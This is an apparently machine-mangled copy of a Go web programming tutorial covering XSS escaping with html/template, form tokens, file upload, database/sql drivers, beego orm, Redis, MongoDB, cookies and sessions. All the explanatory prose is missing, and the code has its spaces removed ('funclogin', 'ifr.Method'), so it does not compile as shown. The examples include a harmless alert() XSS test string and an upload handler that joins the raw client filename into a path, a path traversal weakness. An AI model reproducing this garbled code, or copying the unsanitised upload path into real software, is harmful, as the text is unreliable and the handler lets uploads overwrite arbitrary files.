t:=time.Date(2009,time.November,10,23,0,0,0,time.UTC)fmt.Printf("Golaunchedat%s\n",t.Local())

time

1518

//1515ifm,_:=regexp.MatchString(`^(\d{15})$`,r.Form.Get("usercard"));!m{returnfalse}

//181817X

ifm,_:=regexp.MatchString(`^(\d{17})([0-9]|X)$`,r.Form.Get("usercard"));!m{returnfalse}

GoGo

links

::

4.3Web“”CrossSiteScripting,XSS

JavaScriptVBScriptActiveXFlash/cookie

XSS();

GoGohtml/template

funcHTMLEscape(wio.Writer,b[]byte)//bwfuncHTMLEscapeString(sstring)string//sfuncHTMLEscaper(args...interface{})string//

4.1

fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//

username<script>alert()</script>,

4.3Javascript

Gohtml/templatehtml <script>alert()</script>text/template

import"text/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")

Hello,<script>alert('youhavebeenpwned')</script>!

template.HTML

import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T",template.HTML("<script>alert('youhavebeenpwned')</script>"))

Hello,<script>alert('youhavebeenpwned')</script>!

template.HTML

import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")

Hello,&lt;script&gt;alert(&#39;youhavebeenpwned&#39;)&lt;/script&gt;!

links

::

4.4——

Ajaxjavascript

4.2

<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">:<input type="text"name="username">:<input type="password"name="password"><inputtype="hidden"name="token"value="{{.}}"><inputtype="submit"value="" >

tokenMD5()(session)

funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)}else{//r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}fmt.Println("usernamelength:",len(r.Form["username"][0]))fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//}}

4.4token

tokenform

links

::

4.5Instagram

form enctype enctype:

application/x-www-form-urlencodedmultipart/form-datatext/plain "+"

html,upload.gtpl,html:

<html><head><title> </title></head><body><formenctype="multipart/form-data"action="/upload"method="post"><inputtype="file"name="uploadfile"/><inputtype="hidden"name="token"value="{{.}}"/><inputtype="submit"value="upload"/></form></body></html>

handlerFunc:

http.HandleFunc("/upload",upload)

///uploadfuncupload(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("upload.gtpl")t.Execute(w,token)}else{r.ParseMultipartForm(32<<20)file,handler,err:=r.FormFile("uploadfile")

iferr!=nil{fmt.Println(err)return}deferfile.Close()fmt.Fprintf(w,"%v",handler.Header)f,err:=os.OpenFile("./test/"+handler.Filename,os.O_WRONLY|os.O_CREATE,0666)//testiferr!=nil{fmt.Println(err)return}deferf.Close()io.Copy(f,file)}}

r.ParseMultipartFormmaxMemoryParseMultipartForm maxMemorymaxMemory r.FormFile io.Copy

r.ParseFormGo ParseMultipartForm

1. enctype="multipart/form-data"2. r.ParseMultipartForm,3. r.FormFile

handlermultipart.FileHeader,

typeFileHeaderstruct{FilenamestringHeadertextproto.MIMEHeader//containsfilteredorunexportedfields}

4.5

Go

packagemain

import("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os")

funcpostFile(filenamestring,targetUrlstring)error{bodyBuf:=&bytes.Buffer{}bodyWriter:=multipart.NewWriter(bodyBuf)

//fileWriter,err:=bodyWriter.CreateFormFile("uploadfile",filename)iferr!=nil{fmt.Println("errorwritingtobuffer")returnerr}

//fh,err:=os.Open(filename)iferr!=nil{fmt.Println("erroropeningfile")returnerr}deferfh.Close()

//iocopy_,err=io.Copy(fileWriter,fh)iferr!=nil{returnerr}

contentType:=bodyWriter.FormDataContentType()bodyWriter.Close()

resp,err:=http.Post(targetUrl,contentType,bodyBuf)iferr!=nil{returnerr}deferresp.Body.Close()resp_body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{returnerr}fmt.Println(resp.Status)fmt.Println(string(resp_body))returnnil}

//sampleusagefuncmain(){target_url:="http://localhost:9090/upload"filename:="./astaxie.pdf"postFile(filename,target_url)}

multipart.WritehttpPost

usernamemultipartWriteField

links

::

4.6GoGoformGo

links

::

5Web

GoGodatabase/sql5.1GoGo5.25.45.5ORMdatabase/sqldatabase/sqlGostyle

NOSQLWebNOSQL5.6MongoDBRedisNOSQL

Godatabase/sqltutorial

links

:: database/sql

5.1database/sqlGoPHPGoGo

sql.Register

database/sqlinitinit Register(namestring,driverdriver.Driver)

mymysqlsqlite3

//https://github.com/mattn/go-sqlite3funcinit(){

sql.Register("sqlite3",&SQLiteDriver{})}

//https://github.com/mikespook/mymysql//Driverautomaticallyregisteredindatabase/sqlvard=Driver{proto:"tcp",raddr:"127.0.0.1:3306"}funcinit(){Register("SETNAMESutf8")sql.Register("mymysql",&d)}

driverdatabase/sqlmap

vardrivers=make(map[string]driver.Driver)

drivers[name]=driver

database/sql

database/sql:

import("database/sql"_"github.com/mattn/go-sqlite3")

_Go _

2.3initinitinitinit

driver.Driver

DrivermethodOpen(namestring)Conn

typeDriverinterface{Open(namestring)(Conn,error)}

ConngoroutineConnGogoroutine

...gogoroutineA(Conn)//gogoroutineB(Conn)//...

Gogoroutine,goroutineAgoroutineBB

nameConn

driver.Conn

ConnConngoroutinegoroutine

typeConninterface{Prepare(querystring)(Stmt,error)Close()errorBegin()(Tx,error)}

PrepareSql

Closedatabase/sqlconnpoolconn

BeginTx,

driver.Stmt

StmtConngoroutinegoroutine

typeStmtinterface{Close()errorNumInput()intExec(args[]Value)(Result,error)Query(args[]Value)(Rows,error)}

Closequeryqueryrows

NumInput>=0-1

ExecPreparesqlupdate/insertResult

QueryPreparesqlselectRows

driver.Tx

typeTxinterface{Commit()errorRollback()error}

driver.Execer

Conn

typeExecerinterface{Exec(querystring,args[]Value)(Result,error)}

DB.Exec,PrepareStmtStmtExecStmt

driver.Result

Update/Insert

typeResultinterface{LastInsertId()(int64,error)RowsAffected()(int64,error)}

LastInsertIdID

RowsAffectedquery

driver.Rows

Rows

typeRowsinterface{Columns()[]stringClose()errorNext(dest[]Value)error}

Columnsslicesql

CloseRows

Nextdestdestdriver.Valuestringstring[]byteNextio.EOF

driver.RowsAffected

RowsAffectedint64ResultResult

typeRowsAffectedint64

func(RowsAffected)LastInsertId()(int64,error)

func(vRowsAffected)RowsAffected()(int64,error)

driver.Value

Value

typeValueinterface{}

driveValueValueValuenil

int64float64bool[]bytestring[*] Rows.Next string.time.Time

driver.ValueConverter

ValueConverterdriver.Value

typeValueConverterinterface{ConvertValue(vinterface{})(Value,error)}

ValueConverter

driver.valueint64uint16driver.Valuescandriver.Value

driver.Valuer

Valuerdriver.Value

typeValuerinterface{Value()(Value,error)}

Valuedriver.Value

database/sql

database/sqldatabase/sql/driver,connpool

typeDBstruct{driverdriver.Driverdsnstring

musync.Mutex//protectsfreeConnandclosedfreeConn[]driver.Connclosedbool}

OpenDBfreeConnDb.prepare deferdb.putConn(ci,err),connfreeConn00conn0conn,

links

:: MySQL

5.2 MySQLInternetLAMPMMySQL,MySQLWeb

MySQL

GoMySQLdatabase/sql,:

https://github.com/go-sql-driver/mysqldatabase/sqlgohttps://github.com/ziutek/mymysqldatabase/sqlgohttps://github.com/Philio/GoMySQLdatabase/sqlgo

()

database/sqlkeepalive, forkmymysqlkeepalivekeepalive

testuserinfouserdetail

CREATETABLE`userinfo`(`uid`INT(10)NOTNULLAUTO_INCREMENT,`username`VARCHAR(64)NULLDEFAULTNULL,`departname`VARCHAR(64)NULLDEFAULTNULL,`created`DATENULLDEFAULTNULL,PRIMARYKEY(`uid`));

CREATETABLE`userdetail`(`uid`INT(10)NOTNULLDEFAULT'0',`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`))

database/sql

packagemain

import(_"github.com/go-sql-driver/mysql""database/sql""fmt"//"time")

funcmain(){db,err:=sql.Open("mysql","astaxie:astaxie@/test?charset=utf8")checkErr(err)

//stmt,err:=db.Prepare("INSERTuserinfoSETusername=?,departname=?,created=?")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

id,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)

res,err=stmt.Exec("astaxieupdate",id)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)

res,err=stmt.Exec(id)checkErr(err)

affect,err=res.RowsAffected()

checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

GoMysql

sql.Open()go-sql-drivermysqlDSN(DataSourceName)go-sql-driver

user@unix(/path/to/socket)/dbname?charset=utf8user:password@tcp(localhost:5555)/dbname?charset=utf8user:password@/dbnameuser:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname

db.Prepare()sql

db.Query()SqlRows

stmt.Exec()stmtSQL

=?SQL

links

: database/sql

: SQLite

5.3 SQLiteSQLiteSQLSQLite,SQLiteSQLiteSQLiteAccess

Gosqlitedatabase/sql

https://github.com/mattn/go-sqlite3database/sqlcgo(cgo)https://github.com/feyeleanor/gosqlite3database/sqlcgohttps://github.com/phf/go-sqlite3database/sqlcgo

database/sqlSQLite

SQL

CREATETABLE`userinfo`(`uid`INTEGERPRIMARYKEYAUTOINCREMENT,`username`VARCHAR(64)NULL,`departname`VARCHAR(64)NULL,`created`DATENULL);

CREATETABLE`userdeatail`(`uid`INT(10)NULL,`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`));

Go:

packagemain

import("database/sql""fmt""time"_"github.com/mattn/go-sqlite3")

funcmain(){db,err:=sql.Open("sqlite3","./foo.db")checkErr(err)

//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)values(?,?,?)")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

id,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)

res,err=stmt.Exec("astaxieupdate",id)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)

res,err=stmt.Exec(id)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

MySQL sql.OpenSQLite

sqlite http://sqliteadmin.orbmu2k.de/

links

: MySQL: PostgreSQL

5.4 PostgreSQLPostgreSQL-()BSD-(MySQLFirebird)OracleSybaseIBMDB2MicrosoftSQLServer

PostgreSQLMySQLOraclePostgreSQL

MySQLOracleMySQL5.5.31GPLPostgreSQLMySQL

GoPostgreSQL

https://github.com/lib/pqdatabase/sqlGohttps://github.com/jbarham/gopgsqldriverdatabase/sqlGohttps://github.com/lxn/go-pgsqldatabase/sqlGo

github

CREATETABLEuserinfo(uidserialNOTNULL,usernamecharactervarying(100)NOTNULL,departnamecharactervarying(500)NOTNULL,Createddate,

CONSTRAINTuserinfo_pkeyPRIMARYKEY(uid))WITH(OIDS=FALSE);

CREATETABLEuserdeatail(uidinteger,introcharactervarying(100),profilecharactervarying(100))WITH(OIDS=FALSE);

Go:

packagemain

import("database/sql""fmt"_"github.com/lib/pq")

funcmain(){db,err:=sql.Open("postgres","user=astaxiepassword=astaxiedbname=testsslmode=disable")checkErr(err)

//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)RETURNINGuid")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

//pgMySQLID//id,err:=res.LastInsertId()//checkErr(err)//fmt.Println(id)

varlastInsertIdinterr=db.QueryRow("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)returninguid;","astaxie","" ,"201

2-12-09").Scan(&lastInsertId)checkErr(err)fmt.Println("id=" ,lastInsertId)

//stmt,err=db.Prepare("updateuserinfosetusername=$1whereuid=$2")checkErr(err)

res,err=stmt.Exec("astaxieupdate",1)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=$1")checkErr(err)

res,err=stmt.Exec(1)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

PostgreSQL $1,$2MySQL ?sql.OpendsnMySQLdsn

pgLastInsertIdPostgreSQLMySQLID

links

: SQLite: BeegoormORM

5.5 Beegoorm ORMbeegoormGoORMGostylestructbeegoormGoORMORMORMbeegoormGoORM

beegoormdatabase/sqlORMdatabase/sqlbeegoorm

Mysql:github/go-mysql-driver/mysql

PostgreSQL:github.com/bmizerany/pq

SQLite:github.com/mattn/go-sqlite3

Mysql:github.com/ziutek/mymysql/godrv

:

MsSql:github.com/denisenkom/go-mssqldb

MSADODB:github.com/mattn/go-adodb

Oracle:github.com/mattn/go-oci8

ODBC:bitbucket.org/miquella/mgodbc

beegoormgogetGoStyle

gogetgithub.com/astaxie/beego

importdatabase/sqlbeegoorm

import("database/sql""github.com/astaxie/beego/orm"_"github.com/go-sql-driver/mysql")

funcinit(){//orm.RegisterDataBase("default","mysql","root:root@/my_db?charset=utf8",30)//modelorm.RegisterModel(new(User))

//tableorm.RunSyncdb("default",false,true)}

PostgreSQL:

////_"github.com/lib/pq"

//orm.RegisterDriver("postgres",orm.DR_Postgres)

////PostgresQLpostgreszxxxtestdefaultorm.RegisterDataBase("default","postgres","user=postgrespassword=zxxxdbname=testhost=127.0.0.1port=5432sslmode=disable")

MySQL:

////_"github.com/go-sql-driver/mysql"

//orm.RegisterDriver("mysql",orm.DR_MySQL)

////mysqlrootzxxxtestdefaultorm.RegisterDataBase("default","mysql","root:zxxx@/test?charset=utf8")

Sqlite:

////_"github.com/mattn/go-sqlite3"

//orm.RegisterDriver("sqlite",orm.DR_Sqlite)

////. /datas/test.dbdefaultorm.RegisterDataBase("default","sqlite3","./datas/test.db")

package,beegoormMySQL)beegoorm:

funcmain(){orm:=orm.NewOrm()}

:

packagemain

import("fmt""github.com/astaxie/beego/orm"_"github.com/go-sql-driver/mysql"//)

//ModelStructtypeUserstruct{IdintNamestring`orm:"size(100)"`}

funcinit(){//orm.RegisterDataBase("default","mysql","root:root@/my_db?charset=utf8",30)

//modelorm.RegisterModel(new(User))//RegisterModelmodel//orm.RegisterModel(new(User),new(Profile),new(Post))

//tableorm.RunSyncdb("default",false,true)}

funcmain(){o:=orm.NewOrm()

user:=User{Name:"slene"}

//id,err:=o.Insert(&user)fmt.Printf("ID:%d,ERR:%v\n",id,err)

//user.Name="astaxie"num,err:=o.Update(&user)fmt.Printf("NUM:%d,ERR:%v\n",num,err)

//oneu:=User{Id:user.Id}err=o.Read(&u)fmt.Printf("ERR:%v\n",err)

//num,err=o.Delete(&u)fmt.Printf("NUM:%d,ERR:%v\n",num,err)}

SetMaxIdleConns

orm.SetMaxIdleConns("default",30)

SetMaxOpenConns

(go>=1.2)

orm.SetMaxOpenConns("default",30)

beegoorm

orm.Debug=true

Userstruct

typeUserinfostruct{Uidint`PK`//idpkUsernamestringDepartnamestringCreatedtime.Time}

typeUserstruct{Uidint`PK`//idpkNamestringProfile*Profile`orm:"rel(one)"`//OneToOnerelationPost[]*Post`orm:"reverse(many)"`//}

typeProfilestruct{IdintAgeint16User*User`orm:"reverse(one)"`//()}

typePoststruct{IdintTitlestringUser*User`orm:"rel(fk)"`//Tags[]*Tag`orm:"rel(m2m)"`}

typeTagstruct{IdintNamestringPosts[]*Post`orm:"reverse(many)"`}

funcinit(){//initmodelorm.RegisterModel(new(Userinfo),new(User),new(Profile),new(Tag))}

beegoormStruct Useruser_info

structsqlInsert

o:=orm.NewOrm()varuserUseruser.Name="zxxx"user.Departname="zxxx"

id,err:=o.Insert(&user)iferr==nil{fmt.Println(id)}

user.UidID

:InsertMulti

sql

insertintotable(name,age)values("slene",28),("astaxie",30),("unknown",20)

bulkslice

users:=[]User{{Name:"slene"},{Name:"astaxie"},{Name:"unknown"},...

}successNums,err:=o.InsertMulti(100,users)

bulk1slice

userInsertbeegoormupdate

o:=orm.NewOrm()user:=User{Uid:1}ifo.Read(&user)==nil{user.Name="MyName"ifnum,err:=o.Update(&user);err==nil{fmt.Println(num)}}

Update

//Nameo.Update(&user,"Name")////o.Update(&user,"Field1","Field2",...)

//Where:Where("=?",)

beegoorm

1

o:=orm.NewOrm()varuserUser

user:=User{Id:1}

err=o.Read(&user)

iferr==orm.ErrNoRows{fmt.Println("" )}elseiferr==orm.ErrMissPK{fmt.Println("" )}else{fmt.Println(user.Id,user.Name)}

2

o:=orm.NewOrm()varuserUser

qs:=o.QueryTable(user)//QuerySeterqs.Filter("id",1)//WHEREid=1qs.Filter("profile__age",18)//WHEREprofile.age=18

3WHEREIN

qs.Filter("profile__age__in",18,20)//WHEREprofile.ageIN(18,20)

4

qs.Filter("profile__age__in",18,20).Exclude("profile__lt",1000)//WHEREprofile.ageIN(18,20)ANDNOTprofile_id<1000

1age>172010

varallusers[]Userqs.Filter("profile__age__gt",17)//WHEREprofile.age>17

2limit1010

qs.Limit(10,20)//LIMIT10OFFSET20SQL

beedb

1

o:=orm.NewOrm()ifnum,err:=o.Delete(&User{Id:1});err==nil{fmt.Println(num)}

DeletePostUserUseron_deletePost

beegoorm

typePoststruct{Idint`orm:"auto"`Titlestring`orm:"size(100)"`User*User`orm:"rel(fk)"`}

varposts[]*Postqs:=o.QueryTable("post")num,err:=qs.Filter("User__Name","slene").All(&posts)

struct

GroupBy Having

groupbybeegoorm

qs.OrderBy("id","-profile__age")//ORDERBYidASC,profile.ageDESC

qs.OrderBy("-profile__age","profile")//ORDERBYprofile.ageDESC,profile_idASC

GroupBy:groupby

Having:having

##sql

:

o:=NewOrm()varrRawSeter

r=o.Raw("UPDATEuserSETname=?WHEREname=?","testing","slene")

sql:

func(m*User)Query(namestring)[]User{varoorm.Ormervarrsorm.RawSetero=orm.NewOrm()rs=o.Raw("SELECT*FROMuser"+"WHEREname=?ANDuid>10"+"ORDERBYuidDESC"+"LIMIT100",name)varuser[]Usernum,err:=rs.QueryRows(&user)iferr!=nil{fmt.Println(err)}else{fmt.Println(num)returnuser}}

, beego.me

beegoorm

links

: PostgreSQL: NOSQL

5.6NOSQLNoSQL(NotOnlySQL)Web2.0Web2.0SNSWeb2.0

Go21CNOSQLNOSQLredismongoDBCassandraMembaseredismongoDB

redis

rediskey-valueMemcachedvaluestring()list()set()zset()

redisFacebookinstagram

Goredis

https://github.com/garyburd/redigo()https://github.com/go-redis/redishttps://github.com/hoisie/redishttps://github.com/alphazero/Go-Redishttps://github.com/simonz05/godis

redigo:

packagemain

import("fmt""github.com/garyburd/redigo/redis""os""os/signal""syscall""time")

var(Pool*redis.Pool

)

funcinit(){redisHost:=":6379"Pool=newPool(redisHost)close()}

funcnewPool(serverstring)*redis.Pool{

return&redis.Pool{

MaxIdle:3,IdleTimeout:240*time.Second,

Dial:func()(redis.Conn,error){c,err:=redis.Dial("tcp",server)iferr!=nil{returnnil,err}returnc,err},

TestOnBorrow:func(credis.Conn,ttime.Time)error{_,err:=c.Do("PING")returnerr},}}

funcclose(){c:=make(chanos.Signal,1)signal.Notify(c,os.Interrupt)signal.Notify(c,syscall.SIGTERM)signal.Notify(c,syscall.SIGKILL)gofunc(){<-cPool.Close()os.Exit(0)}()}

funcGet(keystring)([]byte,error){

conn:=Pool.Get()deferconn.Close()

vardata[]bytedata,err:=redis.Bytes(conn.Do("GET",key))iferr!=nil{returndata,fmt.Errorf("errorgetkey%s:%v",key,err)}returndata,err}

funcmain(){test,err:=Get("test")fmt.Println(test,err)}

forkbug(200WPV)

https://github.com/astaxie/goredis

forkredis

packagemain

import("github.com/astaxie/goredis""fmt")

funcmain(){varclientgoredis.Client//redisclient.Addr="127.0.0.1:6379"

//client.Set("a",[]byte("hello"))val,_:=client.Get("a")fmt.Println(string(val))client.Del("a")

//listvals:=[]string{"a","b","c","d","e"}for_,v:=rangevals{

client.Rpush("l",[]byte(v))}dbvals,_:=client.Lrange("l",0,4)fori,v:=rangedbvals{println(i,":",string(v))}client.Del("l")}

redisclientredisredis

mongoDB

MongoDBjsonbjsonMongo

mysqlmongoDBmongoDB

5.1MongoDBMysql

GomongoDBmgopkg

mgo:

gogetgopkg.in/mgo.v2

GomongoDB

packagemain

import("fmt""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""log")

typePersonstruct{NamestringPhonestring}

funcmain(){session,err:=mgo.Dial("server1.example.com,server2.example.com")iferr!=nil{panic(err)}defersession.Close()

//Optional.Switchthesessiontoamonotonicbehavior.session.SetMode(mgo.Monotonic,true)

c:=session.DB("test").C("people")err=c.Insert(&Person{"Ale","+555381169639"},&Person{"Cla","+555384028510"})iferr!=nil{log.Fatal(err)

}

result:=Person{}err=c.Find(bson.M{"name":"Ale"}).One(&result)iferr!=nil{log.Fatal(err)}

fmt.Println("Phone:",result.Phone)}

mgobeedbstructGoStyle

links

: BeegoormORM:

5.7Godatabase/sqlbeedbORMNOSQLGoNOSQLGo21C21

Webdatabase/sql

Godatabase/sqltutorial

links

: NOSQL: session

6session

WebHTTPWebWebcookiesessioncookiesession,sessionID,:url,cookies.,Session,,

6.1sessioncookie6.2Gosessionsession6.3sessionsessionsession6.3sessionsessionsession(memcacheredis)6.4

links

:: sessioncookie

6.1session cookiesessioncookiesessioncookie

“”“”

“”POSTHTTPHTTPrequest()cookiesession

cookieHTTPcookie

6.1cookie

sessionsessionidsessionsessionidsessioncookiesessionidGETid

6.2session

cookie

CookieWebWebcookiecookiecookies

6.3cookie

cookiecookiecookie

cookiecookiecookiecookiecookie

(setMaxAge(606024))cookiecookiecookieIEcookie

Go cookie

Gonet/httpSetCookie

http.SetCookie(wResponseWriter,cookie*Cookie)

wresponsecookiestructcookie

typeCookiestruct{NamestringValuestringPathstringDomainstringExpirestime.TimeRawExpiresstring

//MaxAge=0meansno'Max-Age'attributespecified.//MaxAge<0meansdeletecookienow,equivalently'Max-Age:0'//MaxAge>0meansMax-AgeattributepresentandgiveninsecondsMaxAgeintSecureboolHttpOnlyboolRawstringUnparsed[]string//Rawtextofunparsedattribute-valuepairs}

cookie

expiration:=time.Now()expiration=expiration.AddDate(1,0,0)cookie:=http.Cookie{Name:"username",Value:"astaxie",Expires:expiration}http.SetCookie(w,&cookie)

Go cookie

cookiecookie

cookie,_:=r.Cookie("username")fmt.Fprint(w,cookie)

for_,cookie:=ranger.Cookies(){fmt.Fprint(w,cookie.Name)}

requestcookie

session

session/sessionsession“”/“”

sessionWebSession

session()

sessionsessionsessionidsessionidsessionsessionidsession(sessionURLJSESSION)sessionidsessionsessionsessionidsessionid

session

sessioncookiehttpsessioncookiesessionidsessioncookiecookiecookiecookie1.appABcookieBcookie2.XSSappAjavascriptdocument.cookieappB

cookiesessionwebbugsession

links

: session: Gosession

6.2Go sessionsessionGosessiongosession

session

sessionWebsession

sessionidI/Osessionsessionsession

sessionHTTPBodycookieURL

1. CookieSet-cookiesessionsessioncookie0(cookie)0()2. URLURLURLsessionsessioncookie

Go session

sessionsessionsessionsessionlifecyclegosession

session

session

sessionsessionidsessionsession()session

sessiongo

Session

session

typeManagerstruct{cookieNamestring//privatecookienamelocksync.Mutex//protectssessionproviderProvidermaxlifetimeint64}

funcNewManager(provideName,cookieNamestring,maxlifetimeint64)(*Manager,error){provider,ok:=provides[provideName]if!ok{returnnil,fmt.Errorf("session:unknownprovide%q(forgottenimport?)",provideName)}return&Manager{provider:provider,cookieName:cookieName,maxlifetime:maxlifetime},nil}

Gomainsession

varglobalSessions*session.Manager//initfuncinit(){globalSessions,_=NewManager("memory","gosessionid",3600)}

sessionProvidersession

typeProviderinterface{SessionInit(sidstring)(Session,error)SessionRead(sidstring)(Session,error)SessionDestroy(sidstring)errorSessionGC(maxLifeTimeint64)}

SessionInitSessionSessionSessionReadsidSessionsidSessionInitSessionSessionDestroysidSessionSessionGCmaxLifeTime

SessionWebSessionsessionIDSession

typeSessioninterface{Set(key,valueinterface{})error//setsessionvalueGet(keyinterface{})interface{}//getsessionvalueDelete(keyinterface{})error//deletesessionvalueSessionID()string//backcurrentsessionID}

database/sql/driversessionsessionRegister

varprovides=make(map[string]Provider)

//Registermakesasessionprovideavailablebytheprovidedname.//IfRegisteriscalledtwicewiththesamenameorifdriverisnil,//itpanics.funcRegister(namestring,providerProvider){

ifprovider==nil{panic("session:Registerprovideisnil")}if_,dup:=provides[name];dup{panic("session:Registercalledtwiceforprovide"+name)}provides[name]=provider}

SessionID

SessionIDWebGUID

func(manager*Manager)sessionId()string{b:=make([]byte,32)if_,err:=io.ReadFull(rand.Reader,b);err!=nil{return""}returnbase64.URLEncoding.EncodeToString(b)}

session

SessionSessionSessionStartSession

func(manager*Manager)SessionStart(whttp.ResponseWriter,r*http.Request)(sessionSession){manager.lock.Lock()defermanager.lock.Unlock()cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{sid:=manager.sessionId()session,_=manager.provider.SessionInit(sid)cookie:=http.Cookie{Name:manager.cookieName,Value:url.QueryEscape(sid),Path:"/",HttpOnly:true,MaxAge:int(manager.maxlifetime)}

http.SetCookie(w,&cookie)}else{sid,_:=url.QueryUnescape(cookie.Value)session,_=manager.provider.SessionRead(sid)}return}

loginsession

funclogin(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)r.ParseForm()ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("username"))}else{sess.Set("username",r.Form["username"])http.Redirect(w,r,"/",302)}}

SessionStartSessionsession

session.Get("uid"):

funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+360)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)

}ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}

Sessionkey/value:SetGetDelete

SessionGCGCGCsessionSessionGCSession

session

Websessionsession

//Destroysessionidfunc(manager*Manager)SessionDestroy(whttp.ResponseWriter,r*http.Request){cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{return}else{manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionDestroy(cookie.Value)expiration:=time.Now()cookie:=http.Cookie{Name:manager.cookieName,Path:"/",HttpOnly:true,Expires:expiration,MaxAge:-1}http.SetCookie(w,&cookie)}}

session

Session,Main

funcinit(){goglobalSessions.GC()}

func(manager*Manager)GC(){manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionGC(manager.maxlifetime)time.AfterFunc(time.Duration(manager.maxlifetime),func(){manager.GC()})}

GCtime maxLifeTimeGC maxLifeTimesession

WebSessionSessionManagerSessionProvider,Provider,

links

: sessioncookie: session

6.3sessionSessionsessionsession

packagememory

import("container/list""github.com/astaxie/session""sync""time")

varpder=&Provider{list:list.New()}

typeSessionStorestruct{sidstring//sessionidtimeAccessedtime.Time//valuemap[interface{}]interface{}//session}

func(st*SessionStore)Set(key,valueinterface{})error{st.value[key]=valuepder.SessionUpdate(st.sid)returnnil}

func(st*SessionStore)Get(keyinterface{})interface{}{pder.SessionUpdate(st.sid)ifv,ok:=st.value[key];ok{returnv}else{returnnil}returnnil}

func(st*SessionStore)Delete(keyinterface{})error{delete(st.value,key)pder.SessionUpdate(st.sid)returnnil}

func(st*SessionStore)SessionID()string{returnst.sid}

typeProviderstruct{locksync.Mutex//sessionsmap[string]*list.Element//list*list.List//gc}

